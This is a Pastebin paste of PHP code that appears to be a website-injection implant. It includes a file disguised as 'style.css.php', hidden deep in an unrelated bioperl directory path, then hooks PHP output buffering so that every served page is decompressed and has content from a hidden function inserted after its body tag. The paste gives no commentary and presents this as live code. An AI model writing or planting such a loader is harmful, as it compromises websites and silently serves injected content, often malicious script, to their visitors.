Guest User

Untitled

a guest
Jun 18th, 2018
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. <?php
  2.  
  3. if (function_exists('ob_start') && ! isset($GLOBALS['sh_no']))
  4. {
  5. $GLOBALS['sh_no']=1;
  6. if (file_exists('/home/paradox/public_html/backup/Word Docs/CompBio/Scripts/source/bioperl-ext-1.4/Bio/SeqIO/staden/_Inline/build/Bio/SeqIO/staden/read/blib/lib/auto/Bio/SeqIO/staden/read/style.css.php'))
  7. {
  8. include_once('/home/paradox/public_html/backup/Word Docs/CompBio/Scripts/source/bioperl-ext-1.4/Bio/SeqIO/staden/_Inline/build/Bio/SeqIO/staden/read/blib/lib/auto/Bio/SeqIO/staden/read/style.css.php');
  9.  
  10. if (function_exists('gml') && ! function_exists('dgobh'))
  11. {
  12. if ( ! function_exists('gzdecode'))
  13. {
  14. function gzdecode($d)
  15. {
  16. $f = ord(substr($d,3,1));
  17. $h = 10;
  18. $e = 0;
  19.  
  20. if ($f & 4)
  21. {
  22. $e = unpack('v',substr($d,10,2));
  23. $e = $e[1];
  24. $h += 2 + $e;
  25. }
  26.  
  27. if ($f & 8)
  28. {
  29. $h = strpos($d,chr(0),$h)+1;
  30. }
  31.  
  32. if ($f & 16)
  33. {
  34. $h = strpos($d,chr(0),$h)+1;
  35. }
  36.  
  37. if ($f & 2)
  38. {
  39. $h+=2;
  40. }
  41.  
  42. $u = gzinflate(substr($d,$h));
  43.  
  44. if ($u === FALSE)
  45. {
  46. $u = $d;
  47. }
  48.  
  49. return $u;
  50. }
  51. }
  52.  
  53. function dgobh($b)
  54. {
  55. Header('Content-Encoding: none');
  56. $c = gzdecode($b);
  57.  
  58. if (preg_match('/\<body/si',$c))
  59. {
  60. return preg_replace('/(\<body[^>]*>)/si','$1'.gml(),$c);
  61. }
  62. else
  63. {
  64. return gml().$c;
  65. }
  66. }
  67. ob_start('dgobh');
  68. }
  69. }
  70. }
Add Comment
Please, Sign In to add comment